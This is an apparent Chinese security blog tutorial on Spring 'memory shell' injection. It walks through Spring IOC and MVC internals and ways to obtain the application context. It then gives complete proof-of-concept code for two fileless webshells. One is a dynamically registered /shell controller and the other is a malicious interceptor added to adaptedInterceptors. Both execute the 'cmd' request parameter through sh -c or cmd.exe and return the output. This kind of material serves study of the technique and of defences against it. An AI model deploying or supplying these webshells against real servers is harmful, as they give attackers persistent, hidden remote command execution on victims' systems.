Spring型内存马
2024-08-09 18:25:19

1 Spring 特性

0x01 综述

简化来说就是 IOC 和 AOP,中文翻译是控制反转和切面编程。我个人理解:IOC 是把 java 类托管,我们就不需要自己主动去 new 一个类了,按需向 IOC 容器中取就行;AOP 其实我个人感觉很像 JavaAgent,只不过 Spring 实现起来比较简单,写一个配置类和对应的配置文件即可精确定位方法,实现方法执行前,中,后插入代码执行

0x02 Spring 以及 SprinMVC

我们由 Spring 特性提取出一段信息:Spring 中的对象都是托管给 IOC 容器去管理的,不论是获取,删除等操作,都是由 IOC 容器去做的
至于 Spring 或者 springboot 的一个小 demo,师傅们可以移步至其他基础部分,这里就不多阐述
然后必须提的一点是 SpringMVC 的流程,我这里有一张图,然后辅助一些文字描述:

  • 首先 DispatchServlet 接收到客户端发送过来的请求信息(tomcat 已经处理完信息了,由单独的 servlet 接收),然后 DispatchServlet去调用 HandlerMapping,其主要目的是去完成对应 Controller 的搜索
  • 找到 Controller 后自然是去执行 Controller 的逻辑,Controller 的逻辑依赖于调用业务逻辑执行,也就是对 Mapper 层的 CRUD 操作,然后 Controller 会将这些处理完之后的数据打包,发送给 ModelAndView 去渲染
  • ModelAndView渲染完毕,发送给 DispatchServlet,让他去处理对应的前端渲染相关工作
  • 最后DispatchServlet终于返回到了前端,也就是用户看到的数据


所以 SpringMVC 的核心点就是 DispatchServlet,它起到了一个中轴的作用,之后的分析会着重于它

0x03 IOC 容器

Spring 中 IOC 的中文翻译:控制反转,我个人理解为,程序员不用再去过多的处理类的创建和配置,专心于控制逻辑的设计,到需要用到 java 对象时再从容器中取出就行
Spring 框架中 BeanFactory接口就是 spring IOC 容器的实际代表者,但是 一个 IOC 不可能只单单有这些功能,还需要获取 sources 资源,以及字符转化等功能,所以最终 ApplicationContext 就来继承一些必要的接口(BeanFactory 肯定包含在内),作为 IOC 容器

图片-55.png
每一个 dispatchservlet 都代表着一段完整的逻辑链,我们在学习的时候一般都是一个 web 程序有一个 dispatchservlet,而一个 dispatchservlet 的创建就代表着一个 child context型的 IOC 容器被创建了,有 child 必有 Root(not father),Spring 中的 Root Context是伴随着 ContextLoaderListener 创建的,这也是全局唯一一个公共的 IOC 容器
前面也提到了,IOC 容器的代表者是 ApplicationContext,当然这个 child 的 IOC 容器。
Root 的 IOC 容器叫做 WebApplicationContext,所有的 child 可以取访问 Root 容器,但是 Root 却不能去访问 Child 中的内容
随着每一个 Context 被创建,都会被最为属性存入 Tomcat 中的 ServletContext

讲了这么多,其实是为了解决动态注册 Controller 等 Spring 中常用且可用组件注册的问题,也就引出了我们如何注入 Spring 型内存马的整体思路:

  • 获取到上下文环境内容
  • 注册恶意组件
  • 配置路径映射

2 Controller 型内存马

0x01 为什么是 Controller?

刚开始学内存马的 filter,listener,servlet 等类型的最直观的体现:我们通过某个特定的路由去访问内存马,都是作用于路由,我们客户端能够访问到,而 Spring 中最直观的路由逻辑的体现就是 Controller 了

0x02 实现分析

1x01 获取到上下文内容

总计四种方法

1 ContextLoaderListener

这种方法是获取的当前 ContextLoaderListener创建的 Root WebApplicationContext

1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
2 WebApplicationContextUtils

这个工具类的getWebApplicationContext 方法也是获取的 ContextLoaderListener 创建的 Root WebApplicationContext

1
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

其实这个类的 getRequiredWebApplicationContext也能够获取到 RootContext
image.png

image.png

多讲一嘴这个 getWebApplicationContext方法是如何获取到 Root Context 的:
image.png
它其实是从 Servlet 中直接通过键值对取出的 RootContext
在这个 Utils 获取 WAC 的整体的逻辑中,最终都是调用到了 getWebApplicationContext来获取

3 RequestContextUtils
1
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

这个类的 getWebApplicationContext方法现在改成了 findWebApplicationContext方法
image.png

4 getAttribute
1
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

这个是从 ServletContext 中获取

1x02 动态注册 Controller

2x01 如何获取到映射注册器

回顾 MVC 的控制流程,接受到客户端发送的信息之后,调用 HandlerMapping去找对应的 Controller 处理逻辑。这里的 HandlerMapping其实指的是 RequestMappingHandlerMapping
RequestMappingHandlerMapping是 Spring 中一个十分重要的 bean,Spring 会先把 Controller 解析成RequestMappingInfo对象,然后再注册进RequestMappingHandlerMapping中,这样请求才能够从 RequestMappingHandlerMapping中找到对应的 Controller
那么现在的目标是如何获取到RequestMappingHandlerMapping并向RequestMappingHandlerMapping中注册 Controller
一个一个解决问题:

  1. 获取 RequestMappingHandlerMapping本身并不难,Spring 对于这么重要类当然是自己事先就注册好了的,存放于 IOC 容器中,所以我们只需要获取上下文,然后通过取键值对得到—->而一个 web 程序来说,肯定会有一个 dispatchservlet 以及它创建的 ApplicationContext,还有一个ContextLoaderListener创建的 WebApplicationContext,并且在dispatchservlet 创建的过程中就已经把 RequestMappingHandlerMapping注册好,装进其 IOC 容器了
  2. 通过 dispatchservlet的 IOC 容器获取到 RequestMappingHandlerMapping之后就是注册了映射路由了 但是请注意: Spring 2.5 开始到 Spring 3.1 之前一般使用
    org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
    映射器 ; Spring 3.1 开始及以后一般开始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器来支持@Contoller和@RequestMapping注解。
针对于 RequestMappingHandlerMapping 映射器的获取和注册

整理一下通过RequestMappingHandlerMapping的父类 Abstract**HandlerMethod**Mapping注册实现的伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean

RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);

// 2. 通过反射获得自定义 controller 中唯一的 Method 对象

Method method = (Class.forName("evilMethod").getDeclaredMethods())[0];

// 3. 定义访问 controller 的 URL 地址

PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");

// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)

RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

// 5. 在内存中动态注册 controller

RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);

在其父类 Abstract**HandlerMethod**Mapping中其实还有一个方法可以用来注册路由映射–detectHandlerMethods

image.png
逻辑为接受一个任意类型的 handler 参数,然后在 IOC 容器中找寻这个名字 bean 进行注册
贴一下实现的伪代码:

1
2
3
4
5
6
7
8
9
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);

java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);

m1.setAccessible(true);

m1.invoke(requestMappingHandlerMapping, "dynamicController");

针对于 DefaultAnnotationHandlerMapping 的注册映射
对于 Spring 2.5 开始到 Spring 3.1 的DefaultAnnotationHandlerMapping映射注册(不会现在还有人在用吧),我们可以跟踪到它的顶级父类 AbstractUrlHandlerMapping,其中有这么一段方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
Assert.notNull(urlPath, "URL path must not be null");
Assert.notNull(handler, "Handler object must not be null");
Object resolvedHandler = handler;

// Eagerly resolve handler if referencing singleton via name.
if (!this.lazyInitHandlers && handler instanceof String) {
String handlerName = (String) handler;
ApplicationContext applicationContext = obtainApplicationContext();
if (applicationContext.isSingleton(handlerName)) {
resolvedHandler = applicationContext.getBean(handlerName);
}
}

Object mappedHandler = this.handlerMap.get(urlPath);
if (mappedHandler != null) {
if (mappedHandler != resolvedHandler) {
throw new IllegalStateException(
"Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
"]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
}
}
else {
if (urlPath.equals("/")) {
if (logger.isTraceEnabled()) {
logger.trace("Root mapping to " + getHandlerDescription(handler));
}
setRootHandler(resolvedHandler);
}
else if (urlPath.equals("/*")) {
if (logger.isTraceEnabled()) {
logger.trace("Default mapping to " + getHandlerDescription(handler));
}
setDefaultHandler(resolvedHandler);
}
else {
this.handlerMap.put(urlPath, resolvedHandler);
if (logger.isTraceEnabled()) {
logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
}
}
}
}

我们通过传入 URL 路由 和恶意 bean 即可
实现伪代码如下:

1
2
3
4
5
6
7
8
9
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");

0x03 最终实现 POC

这里的话我们演示能够适配版本更新的 RequestMappingHandlerMapping及其 registerMapping 方法进行注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.stoocea.Controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@Controller
public class EvilController {

@RequestMapping("/Evil")
public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
System.out.println("i am in");
//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

//手动注册Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Controller_Shell.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Controller_Shell(), method);

}

public class Controller_Shell{
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
}
}

这里我的版本是 tomcat8 JDK11 然后 spring 版本的是 5,可以复现
image.png

如果师傅们出不来结果,考虑如下几个方面的环境配置
springmvc 中的配置是否完整,也即是否扫描了识别了 controller,和是否配置了 springmvc 的注解引擎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">


<!-- 解决中文乱码问题的一键式-->
<mvc:annotation-driven>
<mvc:message-converters register-defaults="true">
<bean class="org.springframework.http.converter.StringHttpMessageConverter">
<property name="supportedMediaTypes">
<list>
<value>text/html;charset=UTF-8</value>
<value>application/json;charset=UTF-8</value>
<value>text/plain;charset=UTF-8</value>
<value>application/xml;charset=UTF-8</value>
</list>
</property>
</bean>
</mvc:message-converters>
</mvc:annotation-driven>


<!--扫描含有注解的controller-->
<context:component-scan base-package="com.stoocea.Controller"/>

<!-- 静态资源过滤器-->
<mvc:default-servlet-handler />

<!-- SpringMVC的注解引擎-->
<mvc:annotation-driven />

<!-- 添加视图解析器-->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver" id="internalResourceViewResolver">
<!-- 前缀-->
<property name="prefix" value="/WEB-INF/jsp/"/>
<!-- 后缀-->
<property name="suffix" value=".jsp"/>
</bean>
<!-- Handler-->

</beans>

web.xml 中是否准备好了 dispatchservlet 的环境准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>

3 interceptor 型内存马

0x01 什么是 interceptor

类比 Tomcat 中的 filter,主要作用是用来拦截用户的请求并做相应的处理,通常就是实现鉴权和记录日志等作用
springmvc 中要想实现 interceptor 自定义并不难,可以通过如下两个方式实现:

  1. 通过实现 HandlerInterceptor 接口或者继承 HandlerInterceptor 接口的实现类(比如 HandlerInterceptorAdapter
  2. 通过实现WebRequestInterceptor 或者继承 WebRequestInterceptor接口的实现类

现在来尝试实现一个 Interceptor,采用的方法是直接实现HandlerInterceptor接口,HandlerInterceptor接口本身就有三个方法’

image.png

  • preHandle:该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
  • postHandle:该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。
  • afterCompletion:该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。

首先先写一个 interceptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

public class TestInterceptor implements HandlerInterceptor {

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String url = request.getRequestURI();
PrintWriter writer = response.getWriter();

if (url.indexof("/login")>=0){
writer.write("loginSuccess");
writer.flush();
writer.close();
return true;
}
writer.write("LoginFirst");
writer.flush();
writer.close();
return false;

}
}

然后在 webmvc 中去注册这个 interceptor

1
2
3
4
5
6
7
8
9
10
11
<mvc:interceptors>

<mvc:interceptor>

<mvc:mapping path="/*"/>

<bean class="com.stoocea.Interceptor.TestInterceptor"/>

</mvc:interceptor>

</mvc:interceptors>

然后可以写 两个controller 实验一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.stoocea.Controller;


import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class HelloController {

@RequestMapping("/hello")
public String hello(Model model){
model.addAttribute("msg","success MVC");
return "hello";

}

@GetMapping("/login")
@ResponseBody
public String login(Model model){
model.addAttribute("msg","success");
return "testlogin";
}
}

当我们访问 hello 路由时
image.png
会发现直接被拦截器阻断,返回 loginfirst 字符串
但如果我们访问 login 路由
image.png
成功执行了 interceptor 的逻辑,但是 controller 的逻辑并没有执行,这是因为拦截器在接受到请求数据,并且执行完 handler 的逻辑之后,已经把结果写入 response 进行返回了,dispatchservlet 会假定拦截器本身已经处理完毕请求,不会再去执行后续的 controller 逻辑,所以我们之后 controller 该返回的 logintest 字符串就没出来

0x02 interceptor 的调用流程

在 interceptor 的执行内容中下一个断点
image.png
然后访问 login 路由查看调用栈,会发现其实还是 filter 先执行,然后经过 dispatchservlet 之后才会被分配到执行 interceptor 的内容
image.png
前面的内容就不探究了,我们到 disaptchservlet 的 dodispatch 方法
走到如下图的 getHandler
image.png
然后继续跟进到 getHandler 方法的具体内容
image.png
最终还是调用到了 AbstractHandlerMappinggetHandler 方法
image.png
继续跟进到 getHandlerExecutionChain
image.png
这里的逻辑是最终返回一串 HandlerChain,但是一开始进入方法的时候,HandlerChain 是为空的,我们需要从adaptedInterceptors中循环遍历获取 interceptor,add 到 chain 中,这里默认存在几个自带的 interceptor,最后才会加入我们自己写的 interceptor
跟进 addInterceptor
image.png
直接就调用 add 方法添加了,没有任何过滤
image.png
最后直接返回刚才通过循环遍历添加的 interceptor 列表,其中就包括我们写的测试 interceptor
image.png

返回到 dispatch 的逻辑,来到 applyPreHandle 方法,他这里就开始调用每一个 interceptor 的 preHandle 方法了
image.png
直到这里就是整个 interceptor 从获取到调用 prehandle 的流程,其实做完整个 prehandle 就是直接开始调用 handle 到 controller 处理逻辑了
image.png
根据刚才调用栈和流程分析不难看出,其实 spring 这一层是要优先级低于 tomcat 的,因为毕竟其核心分配器dispatchServlet也属于是 servlet,肯定要执行的比 filter
整合一下大概的流程

1
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Controller

0x03 interceptor 内存马的实现流程

上面的流程分析其实只是在走 interceptor 被注册完之后走的流程,也就是 interceptor 如何执行的,我们注入 interceptor 内存马就必须直到 interceptor 如何先注册到 adaptedInterceptors
既然是 Spring 型,那所有的想取到的类我们都能通过 IOC 容器去取,这里首先要明确目标,我们要找的是谁?—->根据刚才的流程分析,我们刚才添加的每一个 interceptor 都是从adaptedInterceptors属性值中取的,所以我们待会要获取的就是 adaptedInterceptors的所属对象—AbstractHandlerMapping

1x01 获取AbstractHandlerMapping

这里前提是已经了解过上面所述的 4 种获取上下文 context 的方法了,我们还学习一种新的获取的方法— 通过反射获取LiveBeansView类 的 applicationContext 来获取,当然其他四种方法也是可以的

1
2
3
4
//通过LiveBeansView获取WebContext
Field field=Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
field.setAccessible(true);
WebApplicationContext applicationContext=(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)field.get(null)).iterator().next();

然后就是根据 IOC 容器得到 AbstractHandlerMapping

1
2
//通过IOC容器get到AbstractHandlerMapping
AbstractHandlerMapping handlerMapping=applicationContext.getBean("requestMappingHandlerMapping", AbstractHandlerMapping.class);

1x02 动态注册 interceptor

1
2
3
Field field1=AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field1.setAccessible(true);
ArrayList<Object> adtedinterceptors =(ArrayList<Object>)field.get(handlerMapping);

1x03 完整 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.stoocea.Interceptor.TestInterceptor;
import org.junit.Test;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import java.lang.reflect.Field;
import java.util.ArrayList;


//这里是测试interceptor类型memshell的POC,恶意interceptor在interceptor包中
@Controller
public class Evil2Controller {


@GetMapping("/evil2")
@ResponseBody
public String getEvilInterceptor() throws Exception{

//通过LiveBeansView获取顶级Context
// Field field=Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// field.setAccessible(true);
// WebApplicationContext applicationContext=(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)field.get(null)).iterator().next();

//通过ContextLoader.getCurrentWebApplicationContext() 来获取上下文
WebApplicationContext applicationContext = ContextLoader.getCurrentWebApplicationContext();


//通过IOC容器get到AbstractHandlerMapping
AbstractHandlerMapping handlerMapping=applicationContext.getBean("requestMappingHandlerMapping", AbstractHandlerMapping.class);
Field field1=AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field1.setAccessible(true);
ArrayList<Object> adtedinterceptors =(ArrayList<Object>)field1.get(handlerMapping);
TestInterceptor evilInterceptor=new TestInterceptor();
adtedinterceptors.add(evilInterceptor);
return "inject sucessfully";
}

}

然后是恶意 interceptor 的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.stoocea.Interceptor;

import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;

public class TestInterceptor implements HandlerInterceptor {

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String url = request.getRequestURI();
PrintWriter writer = response.getWriter();

if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
return true;

}
}

测试其他 4 种方式也是成功的
image.png